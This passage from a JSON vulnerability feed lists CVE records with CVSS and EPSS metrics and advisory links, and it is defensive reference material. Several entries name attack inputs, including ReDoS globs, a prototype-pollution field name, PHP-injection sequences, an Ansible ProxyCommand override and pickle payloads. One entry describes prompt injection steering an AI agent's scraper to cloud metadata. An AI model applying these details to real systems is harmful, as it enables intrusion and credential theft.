EPSS probability and percentile for CVE-2026-103038, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-10149","cveId":"CVE-2025-10149","aliases":[],"kind":"vulnerability","title":"The SCIM endpoint does not sufficiently validate authorization for federated users when performing operations against the local user store.","summary":"The SCIM endpoint does not sufficiently validate authorization for federated users when performing operations against the local user store. This occurs when a local and a federated user share the same username, allowing a federated user to perform actions intended for a local user, including arbitrary operations.\n\nA malicious actor authenticated as a federated user may perform arbitrary operations on local user accounts via the SCIM 2.0 or SCIM 1.1 endpoints when local and federated users share the same username. This could lead to user account takeover. Deployments that do not support user self-registration are considered medium severity.","detail":"The SCIM endpoint does not sufficiently validate authorization for federated users when performing operations against the local user store. This occurs when a local and a federated user share the same username, allowing a federated user to perform actions intended for a local user, including arbitrary operations.\n\nA malicious actor authenticated as a federated user may perform arbitrary operations on local user accounts via the SCIM 2.0 or SCIM 1.1 endpoints when local and federated users share the same username. This could lead to user account takeover. Deployments that do not support user self-registration are considered medium severity.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:16:59.007Z","updatedAt":"2026-10-20T20:17:10.183Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-10149","asOf":"2026-10-20T20:17:10.183Z"},"epss":{"probability":0.00178,"percentile":0.07287,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-10149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-10149","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-10149","type":"primary","publishedAt":"2026-10-19T17:16:59.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-10149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-10149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111063","cveId":"CVE-2026-111063","aliases":["GHSA-494j-54xm-rwp3"],"kind":"vulnerability","title":"AIOHTTP: Secure attribute not enforced for shared cookie","summary":"The Secure attribute was not being enforced for the shared cookie.\n\nIt may be possible to send a shared cookie marked Secure through an unencrypted request.","detail":"### Summary\n\nThe Secure attribute was not being enforced for the shared cookie.\n\n### Impact\n\nIt may be possible to send a shared cookie marked Secure through an unencrypted request.\n\nAffected package ranges reported by GitHub:\naiohttp: <= 3.14.3","action":"GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-19T17:07:47.000Z","updatedAt":"2026-10-26T14:53:56.000Z","regions":["Global"],"vendor":null,"product":"aiohttp","stacks":["Python packages (PyPI)","aiohttp","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-494j-54xm-rwp3","asOf":"2026-10-26T14:53:56.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-494j-54xm-rwp3","url":"https://github.com/advisories/GHSA-494j-54xm-rwp3","type":"primary","publishedAt":"2026-10-19T17:07:47.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-494j-54xm-rwp3, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112368","cveId":"CVE-2026-112368","aliases":[],"kind":"vulnerability","title":"An uncontrolled recursion weakness in the BSON decoding logic of the MongoDB PHP driver may allow an unauthenticated party who can supply crafted binary document data to the...","summary":"An uncontrolled recursion weakness in the BSON decoding logic of the MongoDB PHP driver may allow an unauthenticated party who can supply crafted binary document data to the decoder to exhaust the process stack. This may cause the PHP process using the driver to terminate unexpectedly, resulting in a loss of availability for that process. The condition occurs below the PHP layer and cannot be intercepted by application-level error handling.","detail":"An uncontrolled recursion weakness in the BSON decoding logic of the MongoDB PHP driver may allow an unauthenticated party who can supply crafted binary document data to the decoder to exhaust the process stack. This may cause the PHP process using the driver to terminate unexpectedly, resulting in a loss of availability for that process. The condition occurs below the PHP layer and cannot be intercepted by application-level error handling.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:07.650Z","updatedAt":"2026-10-20T20:17:16.413Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112368","asOf":"2026-10-20T20:17:16.413Z"},"epss":{"probability":0.00263,"percentile":0.17957,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112368&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112368","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112368","type":"primary","publishedAt":"2026-10-19T16:17:07.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112368&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112368, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112366","cveId":"CVE-2026-112366","aliases":[],"kind":"vulnerability","title":"Picomatch through 4.0.7 contains a regular expression denial of service vulnerability that allows attackers to block the event loop by supplying single-branch repeated extglob...","summary":"Picomatch through 4.0.7 contains a regular expression denial of service vulnerability that allows attackers to block the event loop by supplying single-branch repeated extglob patterns. Attackers can provide globs like +(*) or +(*a), which analyzeRepeatedExtglob in lib/parse.js skips, causing exponential backtracking against short crafted strings and denying service to Node.js applications.","detail":"Picomatch through 4.0.7 contains a regular expression denial of service vulnerability that allows attackers to block the event loop by supplying single-branch repeated extglob patterns. Attackers can provide globs like +(*) or +(*a), which analyzeRepeatedExtglob in lib/parse.js skips, causing exponential backtracking against short crafted strings and denying service to Node.js applications.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:07.500Z","updatedAt":"2026-10-19T21:13:39.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112366","asOf":"2026-10-19T21:13:39.973Z"},"epss":{"probability":0.00335,"percentile":0.26584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112366&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112366","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112366","type":"primary","publishedAt":"2026-10-19T16:17:07.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112366&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112366, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112309","cveId":"CVE-2026-112309","aliases":[],"kind":"vulnerability","title":"@rvf/set-get before 7.0.4 contains a prototype pollution vulnerability in setPath that allows unauthenticated attackers to overwrite properties of shared built-in functions via...","summary":"@rvf/set-get before 7.0.4 contains a prototype pollution vulnerability in setPath that allows unauthenticated attackers to overwrite properties of shared built-in functions via inherited Object.prototype methods. Attackers can submit a form field named hasOwnProperty.call through @rvf/core form parsing to replace the shared function property, causing process-wide denial of service until restart.","detail":"@rvf/set-get before 7.0.4 contains a prototype pollution vulnerability in setPath that allows unauthenticated attackers to overwrite properties of shared built-in functions via inherited Object.prototype methods. Attackers can submit a form field named hasOwnProperty.call through @rvf/core form parsing to replace the shared function property, causing process-wide denial of service until restart.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:07.050Z","updatedAt":"2026-10-22T04:17:32.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112309","asOf":"2026-10-22T04:17:32.947Z"},"epss":{"probability":0.00395,"percentile":0.3346,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112309&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112309","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112309","type":"primary","publishedAt":"2026-10-19T16:17:07.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112309&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112309, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112308","cveId":"CVE-2026-112308","aliases":[],"kind":"vulnerability","title":"crewai-tools through 1.15.28 contains a server-side request forgery vulnerability in SeleniumScrapingTool that allows attackers to fetch internal resources because it never...","summary":"crewai-tools through 1.15.28 contains a server-side request forgery vulnerability in SeleniumScrapingTool that allows attackers to fetch internal resources because it never applies the validate_url private-address check. Attackers influencing agent tool input through prompt injection can direct headless Chrome to loopback, RFC1918, or cloud metadata addresses to disclose internal data and cloud credentials.","detail":"crewai-tools through 1.15.28 contains a server-side request forgery vulnerability in SeleniumScrapingTool that allows attackers to fetch internal resources because it never applies the validate_url private-address check. Attackers influencing agent tool input through prompt injection can direct headless Chrome to loopback, RFC1918, or cloud metadata addresses to disclose internal data and cloud credentials.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:06.887Z","updatedAt":"2026-10-19T21:13:39.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112308","asOf":"2026-10-19T21:13:39.973Z"},"epss":{"probability":0.00239,"percentile":0.14807,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112308&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112308","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112308","type":"primary","publishedAt":"2026-10-19T16:17:06.887Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112308&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112308, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112307","cveId":"CVE-2026-112307","aliases":[],"kind":"vulnerability","title":"sqlparse through 0.6.0 contains a PHP code injection vulnerability that allows attackers to inject PHP expressions by supplying SQL text containing unescaped dollar signs.","summary":"sqlparse through 0.6.0 contains a PHP code injection vulnerability that allows attackers to inject PHP expressions by supplying SQL text containing unescaped dollar signs. Attackers can embed ${expr} or {${expr}} sequences that OutputPHPFilter places in double-quoted strings, executing arbitrary PHP code when the generated snippet runs.","detail":"sqlparse through 0.6.0 contains a PHP code injection vulnerability that allows attackers to inject PHP expressions by supplying SQL text containing unescaped dollar signs. Attackers can embed ${expr} or {${expr}} sequences that OutputPHPFilter places in double-quoted strings, executing arbitrary PHP code when the generated snippet runs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:06.727Z","updatedAt":"2026-10-19T17:17:15.780Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112307","asOf":"2026-10-19T17:17:15.780Z"},"epss":{"probability":0.00142,"percentile":0.03514,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112307&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112307","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112307","type":"primary","publishedAt":"2026-10-19T16:17:06.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112307&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112307, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112306","cveId":"CVE-2026-112306","aliases":[],"kind":"vulnerability","title":"NocoBase @nocobase/plugin-collection-sql through 2.2.28 contains an SQL injection vulnerability that allows privileged users to store unvalidated SQL by bypassing checkSQL()...","summary":"NocoBase @nocobase/plugin-collection-sql through 2.2.28 contains an SQL injection vulnerability that allows privileged users to store unvalidated SQL by bypassing checkSQL() through the sqlCollection:setFields action. Attackers holding the collection-sql snippet can replace a benign collection query with dangerous statements executed on reload, reading pg_shadow password hashes or calling pg_read_file.","detail":"NocoBase @nocobase/plugin-collection-sql through 2.2.28 contains an SQL injection vulnerability that allows privileged users to store unvalidated SQL by bypassing checkSQL() through the sqlCollection:setFields action. Attackers holding the collection-sql snippet can replace a benign collection query with dangerous statements executed on reload, reading pg_shadow password hashes or calling pg_read_file.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:06.570Z","updatedAt":"2026-10-19T17:17:15.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112306","asOf":"2026-10-19T17:17:15.670Z"},"epss":{"probability":0.00311,"percentile":0.23687,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112306&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112306","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112306","type":"primary","publishedAt":"2026-10-19T16:17:06.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112306&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112306, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112305","cveId":"CVE-2026-112305","aliases":[],"kind":"vulnerability","title":"Semaphore UI through 2.19.16 contains a remote code execution vulnerability that allows users with the task_runner role to override protected Ansible variables by supplying...","summary":"Semaphore UI through 2.19.16 contains a remote code execution vulnerability that allows users with the task_runner role to override protected Ansible variables by supplying arbitrary keys in the task environment JSON. Attackers can POST tasks setting ansible_ssh_common_args with a ProxyCommand or ansible_connection=local to execute commands as the Semaphore server user, exposing encryption keys, SSH keys and stored secrets.","detail":"Semaphore UI through 2.19.16 contains a remote code execution vulnerability that allows users with the task_runner role to override protected Ansible variables by supplying arbitrary keys in the task environment JSON. Attackers can POST tasks setting ansible_ssh_common_args with a ProxyCommand or ansible_connection=local to execute commands as the Semaphore server user, exposing encryption keys, SSH keys and stored secrets.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:06.400Z","updatedAt":"2026-10-19T18:17:05.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112305","asOf":"2026-10-19T18:17:05.250Z"},"epss":{"probability":0.00563,"percentile":0.46545,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112305&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112305","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112305","type":"primary","publishedAt":"2026-10-19T16:17:06.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112305&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112305, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112304","cveId":"CVE-2026-112304","aliases":[],"kind":"vulnerability","title":"docTR through 1.1.0 contains an unsafe deserialization vulnerability in load_pretrained_params() that loads checkpoints with torch.load without weights_only=True.","summary":"docTR through 1.1.0 contains an unsafe deserialization vulnerability in load_pretrained_params() that loads checkpoints with torch.load without weights_only=True. Attackers who control a local or URL-supplied checkpoint can embed a malicious pickle payload to execute Python code with the loading process's privileges on torch releases before 2.6.","detail":"docTR through 1.1.0 contains an unsafe deserialization vulnerability in load_pretrained_params() that loads checkpoints with torch.load without weights_only=True. Attackers who control a local or URL-supplied checkpoint can embed a malicious pickle payload to execute Python code with the loading process's privileges on torch releases before 2.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:06.257Z","updatedAt":"2026-10-22T04:17:32.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112304","asOf":"2026-10-22T04:17:32.540Z"},"epss":{"probability":0.00368,"percentile":0.3043,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112304&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112304","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112304","type":"primary","publishedAt":"2026-10-19T16:17:06.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112304&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112304, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112158","cveId":"CVE-2026-112158","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in MikroTik RouterOS up to 6.40.5/6.44/7.20.8. Impacted is the function same_check of the file ipt_SAME.ko.","summary":"A weakness has been identified in MikroTik RouterOS up to 6.40.5/6.44/7.20.8. Impacted is the function same_check of the file ipt_SAME.ko. Executing a manipulation can lead to integer overflow. The attack may be launched remotely. Upgrading to version 7.21.5 and 7.23.1 is recommended to address this issue. You should upgrade the affected component.","detail":"A weakness has been identified in MikroTik RouterOS up to 6.40.5/6.44/7.20.8. Impacted is the function same_check of the file ipt_SAME.ko. Executing a manipulation can lead to integer overflow. The attack may be launched remotely. Upgrading to version 7.21.5 and 7.23.1 is recommended to address this issue. You should upgrade the affected component.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 